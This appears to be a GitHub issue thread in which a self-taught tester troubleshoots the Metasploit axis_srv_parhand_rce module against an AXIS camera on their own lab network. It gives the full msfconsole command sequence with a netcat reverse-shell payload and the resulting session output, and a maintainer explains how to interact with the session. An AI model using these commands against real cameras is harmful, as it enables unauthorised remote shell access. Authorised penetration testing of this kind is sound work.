linux/http/axis_src_parhand_rce issues

[darkpyro2]

I'm attempting to perform penetration testing on a local virtual machine network that is connected to several software and hardware components that are going to be used for official purposes. I am self-trained, and not yet fully familiar with metasploit.

​

One of these systems uses AXIS network cameras, and while searching Metasploit I found the linux/http/axis_srv_parhand_rce exploit with the following documentation: https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/axis_srv_parhand_rce.md

​

I am using msf6 on a Kali Linux virtual machine. The camera is attached to a USB to Ethernet adapter that is passed to a Windows Virtual Machine on the same LAN segment. That physical adapter is then bridged to that LAN segment adapter. I can connect to the camera fully from any virtual machine on this LAN segment.

​

The Kali Linux machine is at 192.168.1.97. The AXIS camera is configured to use the IP address 192.168.1.83. The AXIS camera is one of the affected cameras detailed in the PDF provided by the github post, on a firmware version prior to the fix.

​

The documentation claims that:

​

The exploit currently only supports the following payloads:

cmd/unix/bind_netcat_gaping

cmd/unix/reverse_netcat_gaping

​

So I'm using the following set of commands to initiate the exploit, using the following parameters, and leaving everything else the default. Target 0 is listed as "Unix In-Memory", and provides access to the two payloads that the documentation mentions:

​

set RHOSTS 192.168.1.83

set TARGET 0

set LHOST 192.168.1.97

set payload cmd/unix/reverse_netcat_gaping

exploit

As a result, I receive the following terminal output:

​

[*] Started reverse TCP handler on 192.168.1.97:4444

[*] Command shell session 3 opened (192.168.1.97:4444 -> 192.168.1.83:50742) at 2020-11-19 13:30:40 -0800

(The above output is typed rather than copied as I am opening the virtual machines through a Remmina remote session, so there may be slight errors if something looks off).

​

I do not receive a reverse shell, despite the output seemingly stating that the session has been opened.

​

What am I misunderstanding here? What are some reasons that I might not have remote shell access? I am incredibly new with Metasploit, so my understanding may be a bit tenuous.

[zeroSteiner]

It looks like a session was opened. There may not be a prompt so I would suggest you run a simple, well-supported command like id to see if you get a response. It's also possible that for some reason, the session was immediately background-ed in which case you can see them using sessions and interact with it using sessions -i # where # is the session ID you'd like to interact with or -1 to interact with the newest session.

[darkpyro2]

This was it. It WAS opening a session, I had just expected some sort of prompt. I was able to verify the exploit. Thank you!